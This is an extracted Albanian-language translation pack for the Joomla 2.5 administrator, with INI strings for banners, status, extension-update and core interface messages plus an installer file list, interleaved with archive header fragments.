COM_BANNERS_FIELD_VALUE_USECOMPONENTDEFAULT="-- Përdor normalen e komponentit --" COM_BANNERS_FIELD_WIDTH_LABEL="Gjanësia" COM_BANNERS_FIELD_WIDTH_DESC="Gjanësia e banerit" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL="Opsionet e klientit" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC="Këto të dhana zbatohen mbi krejt klientët nëmos u ndryshofshin për nji klient të veçantë." COM_BANNERS_FILENAME="%1$s-banners-tracks-%2$s" COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS="Opsionet e botimit" COM_BANNERS_HEADING_ACTIVE="Aktive" COM_BANNERS_HEADING_CLICKS="Prekjet" COM_BANNERS_HEADING_CLIENT="Klienti" COM_BANNERS_HEADING_CONTACT="Kontakt" COM_BANNERS_HEADING_COUNT="Llogaria" COM_BANNERS_HEADING_IMPRESSIONS="Përshtypjet" COM_BANNERS_HEADING_METAKEYWORDS="Fjalët kyç meta" COM_BANNERS_HEADING_NAME="Emni" COM_BANNERS_HEADING_PURCHASETYPE="Lloji i blemjes" COM_BANNERS_HEADING_STICKY="Ngjitës" COM_BANNERS_HEADING_TYPE="Lloji" COM_BANNERS_IMPRESSION="Përshtypja" COM_BANNERS_IMPRESSIONS="%1$s nga %2$s" COM_BANNERS_MANAGER="Banerat" COM_BANNERS_MANAGER_BANNER_EDIT="Menaxheri i banerave: Ndrysho banerin" COM_BANNERS_MANAGER_BANNER_NEW="Menaxheri i banerave: Baner i ri" COM_BANNERS_MANAGER_BANNERS="Menaxheri i banerave: Banerat" COM_BANNERS_MANAGER_CLIENT_EDIT="Menaxheri i banerave: Ndrysho klientin" COM_BANNERS_MANAGER_CLIENT_NEW="Menaxheri i banerave: Klient i ri" COM_BANNERS_MANAGER_CLIENTS="Menaxheri i banerave: Klientët" COM_BANNERS_MANAGER_TRACKS="Menaxheri i banerave: Gjurmët" COM_BANNERS_METADATA="Metadatat" COM_BANNERS_N_BANNERS_STUCK="%d banera u ngjitën me sukses." COM_BANNERS_N_BANNERS_STUCK_1="%d baneri u ngjit me sukses." COM_BANNERS_N_BANNERS_UNSTUCK="%d banera u shngjitën me sukses." COM_BANNERS_N_BANNERS_UNSTUCK_1="%d baneri u shngjit me sukses." COM_BANNERS_NEW_BANNER="Baner i ri" COM_BANNERS_NEW_CLIENT="Klient i ri" COM_BANNERS_NO_BANNERS_SELECTED="S'u përzgjodh ndonji baner" COM_BANNERS_NO_CLIENT="- S'ka klient -" COM_BANNERS_NO_CLIENTS_SELECTED="S'u përzgjodh ndonji klient" COM_BANNERS_NOCATEGORYNAME="S'ka kategori" COM_BANNERS_NOCLIENTNAME="S'ka klient" COM_BANNERS_RESET_CLICKS="Pastroji shtypjet" COM_BANNERS_RESET_IMPMADE="Rivendosi përshtypjet" COM_BANNERS_SEARCH_IN_TITLE="Kërko në titull" COM_BANNERS_SELECT_CLIENT="- Zgjidh klientin -" COM_BANNERS_SELECT_TYPE="- Lloji -" COM_BANNERS_SUBMENU_BANNERS="Banerat" COM_BANNERS_SUBMENU_CATEGORIES="Kategoritë" COM_BANNERS_SUBMENU_CLIENTS="Klientat" COM_BANNERS_SUBMENU_TRACKS="Gjurmët" COM_BANNERS_TRACKS_DELETE="Fshiji gjurmët" COM_BANNERS_TRACKS_DOWNLOAD="Shkarkoji gjurmët" COM_BANNERS_TRACKS_EXPORT="Eksporto" COM_BANNERS_TRACKS_N_ITEMS_DELETED="%d gjurmë u fshinë me sukses" COM_BANNERS_TRACKS_N_ITEMS_DELETED_1="%d gjurma u fshi me sukses" COM_BANNERS_TYPE1="Përshtypjet" COM_BANNERS_TYPE2="Prekjet" COM_BANNERS_UNLIMITED="Pa kufi" COM_BANNERS_XML_DESCRIPTION="Ky komponent menaxhon banerat dhe klientët e banerave" JLIB_RULES_SETTING_NOTES="1. Nëse ndryshon të dhanat, kjo ka me u zbatue mbi këte komponent. Ven re që:
      Trashëgue do me thanë që do të përdoren lejet nga konfigurimi global dhe grupi prind .
      Mohue don me thanë që pavarësisht të dhanave të konfigurimit global apo të grupit prind, grupi që po ndryshohet s'mund ta ndërmarrë këte veprim mbi këte komponent.
      Lejue don me thanë që grupi që po ndryshohet ka me qenë në gjendje me e ndërmarrë këte veprim për këte komponent (por nëse kjo asht në konflikt me konfigurimin global apo grupin prind, nuk ka me pasë ndikim; konflikti ka me u tregue nga S'lejohet (Kyçë) tek t'Dhanat e llogarituna).
      2. Nëse përzgjedh nji të dhannë të re, shtyp Ruej me rifreskue t'dhanat e llogarituna." PK@y>\ې'language/sq-AL/sq-AL.mod_status.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="Gjendja e përdoruesit" MOD_STATUS_XML_DESCRIPTION="This module shows the status of the logged-in users." MOD_STATUS_LAYOUT_DEFAULT="Normalja" PK@y>\F:language/sq-AL/sq-AL.plg_quickicon_extensionupdate.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Quick Icon - Joomla! Extensions Updates Notification" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Checks for updates of your installed third-party extensions and notifies you when you visit the Control Panel page" PK@y>\1\4")")language/sq-AL/install.xmlnuW+A Shqip sq-AL 2.5.1.5 2012-03-01 Blendi Kraja Blendi Kraja www.blendikraja.info Copyright (C) 2005 - 2012 Open Source Matters and Joomla.it. All rights reserved GNU General Public License versioni 2 ose ma vonë; shih LICENSE.txt Gjuha shqipe për administratorin Joomla! 2.5.1 sq-AL.com_admin.ini sq-AL.com_admin.sys.ini sq-AL.com_banners.ini sq-AL.com_banners.sys.ini sq-AL.com_cache.ini sq-AL.com_cache.sys.ini sq-AL.com_categories.ini sq-AL.com_categories.sys.ini sq-AL.com_checkin.ini sq-AL.com_checkin.sys.ini sq-AL.com_config.ini sq-AL.com_config.sys.ini sq-AL.com_contact.ini sq-AL.com_contact.sys.ini sq-AL.com_content.ini sq-AL.com_content.sys.ini sq-AL.com_cpanel.ini sq-AL.com_cpanel.sys.ini sq-AL.com_installer.ini sq-AL.com_installer.sys.ini sq-AL.com_joomlaupdate.ini sq-AL.com_joomlaupdate.sys.ini sq-AL.com_finder.ini sq-AL.com_finder.sys.ini sq-AL.com_languages.ini sq-AL.com_languages.sys.ini sq-AL.com_login.ini sq-AL.com_login.sys.ini sq-AL.com_mailto.sys.ini sq-AL.com_media.ini sq-AL.com_media.sys.ini sq-AL.com_menus.ini sq-AL.com_menus.sys.ini sq-AL.com_messages.ini sq-AL.com_messages.sys.ini sq-AL.com_modules.ini sq-AL.com_modules.sys.ini sq-AL.com_newsfeeds.ini sq-AL.com_newsfeeds.sys.ini sq-AL.com_plugins.ini sq-AL.com_plugins.sys.ini sq-AL.com_redirect.ini sq-AL.com_redirect.sys.ini sq-AL.com_search.ini sq-AL.com_search.sys.ini sq-AL.com_templates.ini sq-AL.com_templates.sys.ini sq-AL.com_users.ini sq-AL.com_users.sys.ini sq-AL.com_weblinks.ini sq-AL.com_weblinks.sys.ini sq-AL.com_wrapper.ini sq-AL.com_wrapper.sys.ini sq-AL.ini sq-AL.lib_joomla.ini sq-AL.localise.php sq-AL.mod_custom.ini sq-AL.mod_custom.sys.ini sq-AL.mod_feed.ini sq-AL.mod_feed.sys.ini sq-AL.mod_latest.ini sq-AL.mod_latest.sys.ini sq-AL.mod_logged.ini sq-AL.mod_logged.sys.ini sq-AL.mod_login.ini sq-AL.mod_login.sys.ini sq-AL.mod_menu.ini sq-AL.mod_menu.sys.ini sq-AL.mod_multilangstatus.ini sq-AL.mod_multilangstatus.sys.ini sq-AL.mod_popular.ini sq-AL.mod_popular.sys.ini sq-AL.mod_quickicon.ini sq-AL.mod_quickicon.sys.ini sq-AL.mod_status.ini sq-AL.mod_status.sys.ini sq-AL.mod_submenu.ini sq-AL.mod_submenu.sys.ini sq-AL.mod_title.ini sq-AL.mod_title.sys.ini sq-AL.mod_toolbar.ini sq-AL.mod_toolbar.sys.ini sq-AL.mod_version.ini sq-AL.mod_version.sys.ini sq-AL.plg_authentication_gmail.ini sq-AL.plg_authentication_gmail.sys.ini sq-AL.plg_authentication_joomla.ini sq-AL.plg_authentication_joomla.sys.ini sq-AL.plg_authentication_ldap.ini sq-AL.plg_authentication_ldap.sys.ini sq-AL.plg_captcha_recaptcha.ini sq-AL.plg_captcha_recaptcha.sys.ini sq-AL.plg_content_emailcloak.ini sq-AL.plg_content_emailcloak.sys.ini sq-AL.plg_content_finder.ini sq-AL.plg_content_finder.sys.ini sq-AL.plg_content_geshi.ini sq-AL.plg_content_geshi.sys.ini sq-AL.plg_content_joomla.ini sq-AL.plg_content_joomla.sys.ini sq-AL.plg_content_loadmodule.ini sq-AL.plg_content_loadmodule.sys.ini sq-AL.plg_content_pagebreak.ini sq-AL.plg_content_pagebreak.sys.ini sq-AL.plg_content_pagenavigation.ini sq-AL.plg_content_pagenavigation.sys.ini sq-AL.plg_content_vote.ini sq-AL.plg_content_vote.sys.ini sq-AL.plg_editors_codemirror.ini sq-AL.plg_editors_codemirror.sys.ini sq-AL.plg_editors_none.ini sq-AL.plg_editors_none.sys.ini sq-AL.plg_editors_tinymce.ini sq-AL.plg_editors_tinymce.sys.ini sq-AL.plg_editors-xtd_article.ini sq-AL.plg_editors-xtd_article.sys.ini sq-AL.plg_editors-xtd_image.ini sq-AL.plg_editors-xtd_image.sys.ini sq-AL.plg_editors-xtd_pagebreak.ini sq-AL.plg_editors-xtd_pagebreak.sys.ini sq-AL.plg_editors-xtd_readmore.ini sq-AL.plg_editors-xtd_readmore.sys.ini sq-AL.plg_quickicon_extensionupdate.ini sq-AL.plg_quickicon_extensionupdate.sys.ini sq-AL.plg_quickicon_joomlaupdate.ini sq-AL.plg_quickicon_joomlaupdate.sys.ini sq-AL.plg_extension_joomla.ini sq-AL.plg_extension_joomla.sys.ini sq-AL.plg_finder_categories.ini sq-AL.plg_finder_categories.sys.ini sq-AL.plg_finder_contacts.ini sq-AL.plg_finder_contacts.sys.ini sq-AL.plg_finder_content.ini sq-AL.plg_finder_content.sys.ini sq-AL.plg_finder_newsfeeds.ini sq-AL.plg_finder_newsfeeds.sys.ini sq-AL.plg_finder_weblinks.ini sq-AL.plg_finder_weblinks.sys.ini sq-AL.plg_quickicon_extensionupdate.ini sq-AL.plg_quickicon_extensionupdate.sys.ini sq-AL.plg_quickicon_joomlaupdate.ini sq-AL.plg_quickicon_joomlaupdate.sys.ini sq-AL.plg_search_categories.ini sq-AL.plg_search_categories.sys.ini sq-AL.plg_search_contacts.ini sq-AL.plg_search_contacts.sys.ini sq-AL.plg_search_content.ini sq-AL.plg_search_content.sys.ini sq-AL.plg_search_newsfeeds.ini sq-AL.plg_search_newsfeeds.sys.ini sq-AL.plg_search_weblinks.ini sq-AL.plg_search_weblinks.sys.ini sq-AL.plg_system_cache.ini sq-AL.plg_system_cache.sys.ini sq-AL.plg_system_debug.ini sq-AL.plg_system_debug.sys.ini sq-AL.plg_system_highlight.ini sq-AL.plg_system_highlight.sys.ini sq-AL.plg_system_languagecode.ini sq-AL.plg_system_languagecode.sys.ini sq-AL.plg_system_languagefilter.ini sq-AL.plg_system_languagefilter.sys.ini sq-AL.plg_system_log.ini sq-AL.plg_system_log.sys.ini sq-AL.plg_system_logout.ini sq-AL.plg_system_logout.sys.ini sq-AL.plg_system_p3p.ini sq-AL.plg_system_p3p.sys.ini sq-AL.plg_system_redirect.ini sq-AL.plg_system_redirect.sys.ini sq-AL.plg_system_remember.ini sq-AL.plg_system_remember.sys.ini sq-AL.plg_system_sef.ini sq-AL.plg_system_sef.sys.ini sq-AL.plg_user_contactcreator.ini sq-AL.plg_user_contactcreator.sys.ini sq-AL.plg_user_joomla.ini sq-AL.plg_user_joomla.sys.ini sq-AL.plg_user_profile.ini sq-AL.plg_user_profile.sys.ini sq-AL.tpl_bluestork.ini sq-AL.tpl_bluestork.sys.ini sq-AL.tpl_hathor.ini sq-AL.tpl_hathor.sys.ini index.html sq-AL.xml install.xml PK@y>\language/sq-AL/sq-AL.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : gabim(e) në rreshtin(at) %s" J1="1" J2="2" J3="3" J5="5" J6="6" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" J75="75" J100="100" J150="150" J200="200" J250="250" J300="300" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" ERROR="Gabim" MESSAGE="Mesazhi" NOTICE="Njoftim" WARNING="Paralajmërim" JADMINISTRATION="Administrimi" JADMINISTRATOR="Administratori" JALL="krejt" JALL_LANGUAGE="krejt" JAPPLY="Ruej" JARCHIVED="Arkivue" JAUTHOR="Autori" JCANCEL="Zhban" JCATEGORIES="Kategoritë" JCATEGORY="Kategoria" JCLEAR="Pastro" JCLIENT="Vendndodhja" JCONFIG_PERMISSIONS_DESC="Lejet normale përdorë për krejt përmbajtjen në këte komponent." JCONFIG_PERMISSIONS_LABEL="Lejet" JCURRENT="Aktualja" JDATE="Data" JDEFAULT="Normalja" JDETAILS="Hollësinat" JDISABLED="Çaktivizue" JENABLED="Aktivizue" JFALSE="False" JFEATURED="E përzgjedhun" JHELP="Ndihmë" JHIDE="Fshihe" JINVALID_TOKEN="Kërkesa ma e fundit u hodh poshtë sepse përmbante nji shenjë të pavlefshme sigurie. Ju lutem rifreskoje faqen dhe përpiqu prap." JLOGIN="Hyn" JLOGOUT="Dil" JMODIFY="Ndrysho" JNEVER="Kurrë" JNEXT="Tjetri" JNO="Jo" JNONE="Asnji" JOFF="Fikë" JON="Ndezë" JOPTIONS="Opsionet" JPREV="Para" JPREVIOUS="E maparshmja" JPUBLISHED="Botue" JRECORD_NUMBER="Regjistro numrin" JREGISTER="Regjistro" JSAVE="Ruej & Mbylle" JSELECT="Zgjidh" JSTATUS="Statusi" JSHOW="Nxirre" JSITE="Faqja" JSUBMIT="Paraqit" JTRASH="Kosh" JTRASHED="Hedhë" JTRUE="E vërtetë" JUNARCHIVE="Hiq nga statusi i arkivit" JUNDEFINED="E papërcaktueme" JUNPUBLISHED="Heqë nga botimi" JVERSION="Versioni" JYES="Po" JACTION_ADMIN="Konfigurim" JACTION_ADMIN_COMPONENT_DESC="Lejon përdoruesit në grup me ndryshue opsionet e këtij zgjatimi." JACTION_ADMIN_GLOBAL="Superadmin" JACTION_ADMIN_GLOBAL_DESC="Lejon përdoruesit në grup me kry çdo veprim pavarësisht t'dhanave." JACTION_COMPONENT_SETTINGS="T'dhanat e komponentit" JACTION_CREATE="Krijo" JACTION_CREATE_COMPONENT_DESC="Lejon përdoruesit në grup me krijue çfarëdolloj përmbajtjeje në këte zgjatim." JACTION_DELETE="Fshij" JACTION_DELETE_COMPONENT_DESC=" Lejon përdoruesit në grup me fshi çfarëdolloj përmbajtjeje në këte zgjatim." JACTION_EDIT="Ndrysho" JACTION_EDIT_COMPONENT_DESC=" Lejon përdoruesit në grup me ndryshue çfarëdolloj përmbajtjeje në këte zgjatim." JACTION_EDITOWN="Ndrysho tandin" JACTION_EDITOWN_COMPONENT_DESC=" Lejon përdoruesit në grup me ndryshue çfarëdolloj përmbajtje që kanë paraqitë në këte zgjatim." JACTION_EDITSTATE="Ndrysho gjendjen" JACTION_EDITSTATE_COMPONENT_DESC=" Lejon përdoruesit në grup me ndryshue gjendjen e çfarëdolloj përmbajtjeje në këte zgjatim." JACTION_LOGIN_ADMIN="Hymja administrative" JACTION_LOGIN_OFFLINE="Hymja offline" JACTION_LOGIN_SITE="Hymja në faqe" JACTION_MANAGE="Hyn në ndërfaqen administrative" JACTION_MANAGE_COMPONENT_DESC=" Lejon përdoruesit në grup me hy në ndërfaqen administrative për këte zgjatim." JBROWSERTARGET_MODAL="Modali" JBROWSERTARGET_NEW="Hap n'dritare t're" JBROWSERTARGET_PARENT="Hap në dritare prind" JBROWSERTARGET_POPUP="Hap n'dritare t'vogël" JERROR_ALERTNOAUTHOR="S'je i autorizuem me e pa këte burim." JERROR_AN_ERROR_HAS_OCCURRED="Ka ndodhë nji gabim" JERROR_CORE_DELETE_NOT_PERMITTED="S'lejohet fshimja" JERROR_INVALID_CONTROLLER="Kontroller i pavlefshëm" JERROR_INVALID_CONTROLLER_CLASS="Klasë e pavlefshme kontrolleri" JERROR_LOADFILE_FAILED="Gabim në ngarkimin e dokumentit të formularit" JERROR_LOADING_MENUS="Gabim në ngarkimin e menyve: %s" JERROR_LOGIN_DENIED="S't'lejohet me hy te pjesa admin e faqes." JERROR_NO_ITEMS_SELECTED="S'u përzgjodh(ën) gja." JERROR_NOLOGIN_BLOCKED="Ndalohet hymja! Llogaria t'asht bllokue ose s'e ke aktivizue ende." JERROR_SAVE_FAILED="S'mund t'i ruente të dhanat. Gabim: %s" JFIELD_ACCESS_DESC="Grupi të cilit i lejohet hymja për me e pa këte send." JFIELD_ACCESS_LABEL="Hymja" JFIELD_ALIAS_DESC="Aliasi ka m'u përdorë në nyjen SEF. Lene bosh dhe Joomla ka me futë nji vlerë normale nga titulli. Kjo vlerë ka me u varë nga t'dhanat SEO (Konfigurimi global->Faqja).
      Me përdorë Unicode prodhon aliase UTF-8. Gjithashtu mund të fusësh vetë cilëndo gërmë UTF-8. Hapsinat dhe disa gërma tëndalueme do të ndryshohen në viza..
      Kur përdoret transliterimi normal, ai ka me prodhue nji alias me të vogla dhe me vija në vend të hapsinave. Mund t'i fusësh aliaset veetë. Përdor shkroja me të vogla dhe viza (-). Nuk lejohen viza ose nënviza. Vlera normale ka me qenë nji datë dhe koha nëse titulli shtypet në shkroja jo-latine ." JFIELD_ALIAS_LABEL="Aliasi" JFIELD_ALT_COMPONENT_LAYOUT_DESC="Përdor nji faqosje të ndryshme nga pamja e dhanë e komponentit apo mbivendosjet në ftyrat." JFIELD_ALT_LAYOUT_LABEL="Faqosja alternative" JFIELD_ALT_MODULE_LAYOUT_DESC="Përdor nji faqosje të ndryshme nga moduli i dhanë ose mbivendosja në ftyra." JFIELD_ALT_PAGE_TITLE_DESC="Nji titull alternativ faqeje me vendosë që ka me ndrrue tagun TITULLI në outputin HTML." JFIELD_ALT_PAGE_TITLE_LABEL="Titulli alternativ i faqes" JFIELD_BASIS_LOGIN_DESCRIPTION_DESC="Teksti me tregue te faqja e hymjes" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Teksti i përshkrimit të hymjes" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC="Trego ose fsheh përshkrimin e hymjes" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Përshkrimi i hymjes" JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC="Teksti për faqjen e daljes" JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL="Teksti i përshkrimit të daljes" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC="Trego ose fsheh përshkrimin e daljes" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL="Teksti i daljes" JFIELD_CATEGORY_DESC="Kategoria tek e cila asht caktue ky send." JFIELD_ENABLED_DESC="Statusi i aktivizuem i këtij sendi" JFIELD_KEY_REFERENCE_DESC="Përdorë me ruejtë informacione lidhun me nji burim të jashtëm" JFIELD_KEY_REFERENCE_LABEL="Referenca kyç" JFIELD_LANGUAGE_DESC="Caktoja nji gjuhë këtij artikulli." JFIELD_LANGUAGE_LABEL="Gjuha" JFIELD_LOGIN_IMAGE_DESC="Pamja me tregue tek faqja e hymjes" JFIELD_LOGIN_IMAGE_LABEL="Pamja e hymjes" JFIELD_LOGIN_REDIRECT_URL_DESC="Nëse futet nji URL këtu, përdoruesit do të redirektohen tek ajo mbas hymjes. URL-ja duhet mos me qenë e jashtme." JFIELD_LOGIN_REDIRECT_URL_LABEL="Redirektimi i hymjes" JFIELD_LOGOUT_IMAGE_DESC="Pamja me tregue tek faqja e daljes" JFIELD_LOGOUT_IMAGE_LABEL="Pamja e daljes" JFIELD_LOGOUT_REDIRECT_URL_DESC="Nëse këtu futet nji URL, përdoruesit do të redirektohen tek ajo mbasi të dalin. URL-ja duhet mos me qenë e jashtme." JFIELD_LOGOUT_REDIRECT_URL_LABEL="Redirektimi i daljes" JFIELD_META_DESCRIPTION_DESC="Paragraf opsional me u përdorë si përshkrim i faqes në outputin HTML. Kjo përgjithësisht do të shfaqet në rezultatet e motorave të kërkimit." JFIELD_META_DESCRIPTION_LABEL="Përshkrimi meta" JFIELD_META_KEYWORDS_DESC="Një listë opsionale nda me presje e fjalkyçeve dhe/ose shprehje me u përdorë në outputin HTML." JFIELD_META_KEYWORDS_LABEL="Fjalët kyç meta" JFIELD_META_RIGHTS_DESC="Përshkruej ç'të drejta kanë të tjerët me përdorë këte përmbajtje." JFIELD_META_RIGHTS_LABEL="Të drejtat e përmbajtjes" JFIELD_METADATA_AUTHOR_DESC="Autori i kësaj përmbajtjeje" JFIELD_METADATA_RIGHTS_DESC="Të drejtat botuese për përmbajtjen" JFIELD_METADATA_RIGHTS_LABEL="Të drejtat" JFIELD_METADATA_ROBOTS_DESC="Udhëzimet për robotët" JFIELD_METADATA_ROBOTS_LABEL="Robotët" JFIELD_METADATA_XREFERENCE_DESC="Nji referencë opsionale përdorë me të lidhë me burimet e jashtme të të dhanave." JFIELD_METADATA_XREFERENCE_LABEL="Referencat kryq" JFIELD_MODULE_LANGUAGE_DESC="Caktoja nji gjuhë këtij moduli." JFIELD_NOTE_DESC="Shënim" JFIELD_NOTE_LABEL="V.O." JFIELD_OPTION_NONE="Asnji" JFIELD_ORDERING_DESC="Zgjidh renditjen" JFIELD_ORDERING_LABEL="Renditja" JFIELD_PARAMS_LABEL="Opsionet" JFIELD_PLG_SEARCH_ALL_DESC="Trego a me i përfshi sendet e botueme në kërkim" JFIELD_PLG_SEARCH_ALL_LABEL="Kërkimi tek botimet" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Trego a me përfshi sendet e arkivueme në kërkim" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Kërkim n'arkiva" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Përcakton numrin maksimal të rezultateve me nxjerrë." JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Kufini i kërkimit" JFIELD_PUBLISHED_DESC="Cakto statusin e publikimit." JFIELD_READMORE_DESC="Shto nji tekst të veçantë në vend të Lexo ma" JFIELD_READMORE_LABEL="Teksti lexo ma" JFIELD_SPACER_LABEL="
      " JFIELD_TITLE_DESC="Titulli" JFIELD_XREFERENCE_DESC="Nji fushë opsionale me lejue këte regjistrim me u referencue kryq tek nji sistem i jashtëm të dhanash nëse kërkohet." JFIELD_XREFERENCE_LABEL="Referenca e jashtme" JGLOBAL_ACROSS="Përmes" JGLOBAL_ACTION_PERMISSIONS_LABEL="Lejet" JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION="Cakto lejet e veprimit për këte aset" JGLOBAL_ALL_ARTICLE="Artikujt e niveleve maksimale" JGLOBAL_ALL_LIST="Nivelet maksimale si listë" JGLOBAL_ALLOW_COMMENTS_DESC="Nëse Po, shikuesit kanë me qenë në gjendje me shtue dhe me pa komentet e artikullit." JGLOBAL_ALLOW_COMMENTS_LABEL="Lejo komentet" JGLOBAL_ALLOW_RATINGS_DESC="Nëse po, shikuesit kanë me qenë në gjendje me shtue dhe me pa renditjet e artikullit." JGLOBAL_ALLOW_RATINGS_LABEL="Lejo renditjet" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC="Të lutem fut nji shkrojë numerike si vlerë kufi. Introteksti ka me u mpakë në numrin e shkrojave që fut." JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL=" Kufini i introtekstit" JGLOBAL_ARCHIVE_OPTIONS="Opsionet e arkivit" JGLOBAL_ARTICLE_COUNT_DESC="Me tregue ose jo shumatoren e artikujve në secilën kategori." JGLOBAL_ARTICLE_COUNT_LABEL="Shumatorja e artikujve" JGLOBAL_ARTICLE_MANAGER_ORDER="Renditja" JGLOBAL_ARTICLE_MUST_HAVE_TEXT="Artikujt duhet me pasë pak përmbajtje." JGLOBAL_ARTICLE_ORDER_DESC="Rendi sipas të cilit kanë m'u tregue artikujt." JGLOBAL_ARTICLE_ORDER_LABEL="Rendi i artikujve" JGLOBAL_ARTICLES="Artikujt" JGLOBAL_AUTH_ACCESS_DENIED="Ndalohet hymja" JGLOBAL_AUTH_ACCESS_GRANTED="U lejue hymja" JGLOBAL_AUTH_BIND_FAILED="Dështoi lidhja me serverin LDAP" JGLOBAL_AUTH_CANCEL="Autentifikimi u anullue" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="S'lejohet fjalkalimi bosh" JGLOBAL_AUTH_FAIL="Autentifikimi dështoi" JGLOBAL_AUTH_FAILED="Dështoi me autentifikue: %s" JGLOBAL_AUTH_INCORRECT="Pseudonim/fjalkalim i pasaktë" JGLOBAL_AUTH_INVALID_PASS="Pseudonimi dhe fjalkalimi nuk përputhen ose nuk ke ende llogari." JGLOBAL_AUTH_NO_BIND="S'mundi me u lidhë me LDAP" JGLOBAL_AUTH_NO_CONNECT="S'mundi me u lidhë me serverin LDAP" JGLOBAL_AUTH_NO_REDIRECT="S'mundi me redirektue tek serveri: %s" JGLOBAL_AUTH_NO_USER="Pseudonimi dhe fjalkalimi nuk përputhen ose nuk ke ende llogari." JGLOBAL_AUTH_NOT_CREATE_DIR="S'mundi me krijue direktorinë FileStore %s. Të lutem kontrollo lejet efektive." JGLOBAL_AUTH_PASS_BLANK="LDAP s'mundet me pasë fjalkalim bosh" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Rezultat i panjohun. Mohohet hymja" JGLOBAL_AUTH_USER_BLACKLISTED="Përdoruesi asht bllokue" JGLOBAL_AUTH_USER_NOT_FOUND="S'mundi me gjetë përdoruesin" JGLOBAL_AUTHOR_ALPHABETICAL="Autori rend alfabetik" JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Autori rend alfabetik mbrapsht" JGLOBAL_AUTO="Auto" JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="S'mundi me gjetë prindin destinacion për këte lëvizje." JGLOBAL_BATCH_PROCESS="Procesi" JGLOBAL_BLOG="Blogu" JGLOBAL_BLOG_LAYOUT_OPTIONS="Opsionet e faqosjes blog" JGLOBAL_CATEGORIES_OPTIONS="Opsionet e kategorive" JGLOBAL_CATEGORY_LAYOUT_DESC="Faqosja" JGLOBAL_CATEGORY_LAYOUT_LABEL="Zgjidh nji faqosje" JGLOBAL_CATEGORY_MANAGER_ORDER="Rendi i menaxherit të kategorive" JGLOBAL_CATEGORY_NOT_FOUND="Kategoria s'u gjet" JGLOBAL_CATEGORY_OPTIONS="Opsionet e kategorive" JGLOBAL_CATEGORY_ORDER_DESC="Rendi në të cilin do të shfaqen kategoritë." JGLOBAL_CATEGORY_ORDER_LABEL="Rendi i kategorive" JGLOBAL_CENTER="Qendër" JGLOBAL_CHOOSE_CATEGORY_DESC="Zgjidh nji kategori nga lista" JGLOBAL_CHOOSE_CATEGORY_LABEL="Zgjidh nji kategori" JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Shtyp me renditë sipas këtij rreshti" JGLOBAL_CLICK_TO_TOGGLE_STATE="Shtyp mbi ikonë për me ndryshue gjendje." JGLOBAL_COPY="(kopje)" JGLOBAL_CREATED="Krijue" JGLOBAL_CREATED_DATE="Data e krijimit" JGLOBAL_DATE_FORMAT_DESC="Rresht opsional formati për shfaqjen e datës. Nëse lehet bosh, përdoret DATE_FORMAT_LC1 nga dokumenti i gjuhës (për shembull, D M V për ditë muej vit ose mundesh me përdorë d-m-v për nji version të shkurtë p.sh. 10-07-10. Shih http://www.php.net/manual/en/function.date.php)." JGLOBAL_DATE_FORMAT_LABEL="Formati i datës" JGLOBAL_DESCRIPTION="Përshkrimi" JGLOBAL_DISPLAY_NUM="Trego #" JGLOBAL_DISPLAY_SELECT_DESC="Me tregue a me fshehë listën dalëse të përzgjedhjes." JGLOBAL_DISPLAY_SELECT_LABEL="Trego zgjedhjen" JGLOBAL_DOWN="Poshtë" JGLOBAL_EDIT_ITEM="Ndrysho sendin" JGLOBAL_EDIT_PREFERENCES="Ndryshoji opsionet" JGLOBAL_EMAIL="Emaili" JGLOBAL_EMPTY_CATEGORIES_DESC="Me tregue ose jo kategoritë që s'përmbajnë artikuj dhe as nënkategori." JGLOBAL_EMPTY_CATEGORIES_LABEL="Kategoritë bosh" JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Informacion i pamjaftueshëm me krye operacionin masiv" JGLOBAL_FEED_SUMMARY_DESC="Nëse vendoset introtekst, veetëm introteksti nga secili artikull ka me dalë në lajmet feed. Nëse vendoset tekst i plotë, ka m'u shfaqë krejt artikulli." JGLOBAL_FEED_SUMMARY_LABEL="Për secilin send feed trego" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Kategoritë që janë 